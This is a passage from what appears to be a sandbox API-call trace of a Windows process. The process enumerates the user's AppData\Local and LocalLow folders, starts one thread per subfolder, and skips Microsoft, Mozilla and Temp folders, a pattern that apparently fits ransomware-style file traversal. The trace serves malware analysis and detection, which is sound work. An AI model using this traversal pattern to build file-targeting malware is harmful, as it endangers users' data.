ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.913] wcscmp (_String1="..", _String2=".") returned 1 [0091.913] wcscmp (_String1="..", _String2="..") returned 0 [0091.913] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0091.913] wcscmp (_String1="Adobe", _String2=".") returned 1 [0091.913] wcscmp (_String1="Adobe", _String2="..") returned 1 [0091.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863ab0 [0091.913] wcscpy (in: _Dest=0x1b863ab0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0091.913] wcscat (in: _Dest=0x1b863ab0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0091.913] wcscat (in: _Dest=0x1b863ab0, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0097.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b863ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd5c [0097.000] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0097.000] wcscmp (_String1="Application Data", _String2=".") returned 1 [0097.000] wcscmp (_String1="Application Data", _String2="..") returned 1 [0097.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c840 [0097.000] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.000] wcscat (in: _Dest=0x1b85c840, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.000] wcscat (in: _Dest=0x1b85c840, _Source="Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" [0097.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c [0097.001] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0097.001] wcscmp (_String1="Apps", _String2=".") returned 1 [0097.001] wcscmp (_String1="Apps", _String2="..") returned 1 [0097.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864060 [0097.002] wcscpy (in: _Dest=0x1b864060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.002] wcscat (in: _Dest=0x1b864060, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.002] wcscat (in: _Dest=0x1b864060, _Source="Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0097.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1010 [0097.002] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0097.002] wcscmp (_String1="Deployment", _String2=".") returned 1 [0097.002] wcscmp (_String1="Deployment", _String2="..") returned 1 [0097.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8671c0 [0097.003] wcscpy (in: _Dest=0x1b8671c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.003] wcscat (in: _Dest=0x1b8671c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.003] wcscat (in: _Dest=0x1b8671c0, _Source="Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" [0097.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8671c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1014 [0097.003] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0097.003] wcscmp (_String1="GDIPFONTCACHEV1.DAT", _String2=".") returned 1 [0097.004] wcscmp (_String1="GDIPFONTCACHEV1.DAT", _String2="..") returned 1 [0097.004] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0097.004] wcscmp (_String1="Google", _String2=".") returned 1 [0097.004] wcscmp (_String1="Google", _String2="..") returned 1 [0097.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b864610 [0097.004] wcscpy (in: _Dest=0x1b864610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.004] wcscat (in: _Dest=0x1b864610, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.004] wcscat (in: _Dest=0x1b864610, _Source="Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0097.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1018 [0097.005] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0097.005] wcscmp (_String1="History", _String2=".") returned 1 [0097.005] wcscmp (_String1="History", _String2="..") returned 1 [0097.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864680 [0097.005] wcscpy (in: _Dest=0x1b864680, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.005] wcscat (in: _Dest=0x1b864680, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.005] wcscat (in: _Dest=0x1b864680, _Source="History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" [0097.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b864680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x101c [0097.006] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8de8eaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x126da7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0097.006] wcscmp (_String1="IconCache.db", _String2=".") returned 1 [0097.006] wcscmp (_String1="IconCache.db", _String2="..") returned 1 [0097.006] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.006] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0097.006] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0097.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b867340 [0097.006] wcscpy (in: _Dest=0x1b867340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.006] wcscat (in: _Dest=0x1b867340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.006] wcscat (in: _Dest=0x1b867340, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft" [0097.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0097.006] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0097.006] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0097.006] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0097.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867340 [0097.006] wcscpy (in: _Dest=0x1b867340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.007] wcscat (in: _Dest=0x1b867340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.007] wcscat (in: _Dest=0x1b867340, _Source="Microsoft Help" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0097.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b867340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0097.007] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0097.007] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0097.007] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0097.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b8646f0 [0097.007] wcscpy (in: _Dest=0x1b8646f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.008] wcscat (in: _Dest=0x1b8646f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.008] wcscat (in: _Dest=0x1b8646f0, _Source="Mozilla" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla" [0097.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8646f0) returned 1 [0097.008] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdf542e90, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xdf542e90, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0097.008] wcscmp (_String1="Temp", _String2=".") returned 1 [0097.008] wcscmp (_String1="Temp", _String2="..") returned 1 [0097.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8646f0 [0097.008] wcscpy (in: _Dest=0x1b8646f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.008] wcscat (in: _Dest=0x1b8646f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.008] wcscat (in: _Dest=0x1b8646f0, _Source="Temp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp" [0097.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8646f0) returned 1 [0097.008] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0097.008] wcscmp (_String1="Temporary Internet Files", _String2=".") returned 1 [0097.008] wcscmp (_String1="Temporary Internet Files", _String2="..") returned 1 [0097.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027a1f0 [0097.008] wcscpy (in: _Dest=0x2027a1f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.008] wcscat (in: _Dest=0x2027a1f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.008] wcscat (in: _Dest=0x2027a1f0, _Source="Temporary Internet Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files" [0097.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a1f0) returned 1 [0097.008] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0097.008] wcscmp (_String1="VirtualStore", _String2=".") returned 1 [0097.008] wcscmp (_String1="VirtualStore", _String2="..") returned 1 [0097.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8673c0 [0097.009] wcscpy (in: _Dest=0x1b8673c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0097.009] wcscat (in: _Dest=0x1b8673c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0097.009] wcscat (in: _Dest=0x1b8673c0, _Source="VirtualStore" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0097.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8673c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1024 [0097.009] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0097.009] FindClose (in: hFindFile=0x1cd9dfd0 | out: hFindFile=0x1cd9dfd0) returned 1 [0097.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0097.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863a40) returned 1 [0097.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c790) returned 1 Thread: id = 482 os_tid = 0xc3c [0091.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863b20 [0091.914] wcscpy (in: _Dest=0x1b863b20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0091.914] wcscat (in: _Dest=0x1b863b20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0091.914] wcscat (in: _Dest=0x1b863b20, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*" [0091.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd996c0 [0091.914] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df70 [0091.914] wcscmp (_String1=".", _String2=".") returned 0 [0091.914] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.914] wcscmp (_String1="..", _String2=".") returned 1 [0091.914] wcscmp (_String1="..", _String2="..") returned 0 [0091.915] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0091.915] wcscmp (_String1="Adobe", _String2=".") returned 1 [0091.915] wcscmp (_String1="Adobe", _String2="..") returned 1 [0091.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85df10 [0091.915] wcscpy (in: _Dest=0x1b85df10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0091.915] wcscat (in: _Dest=0x1b85df10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS 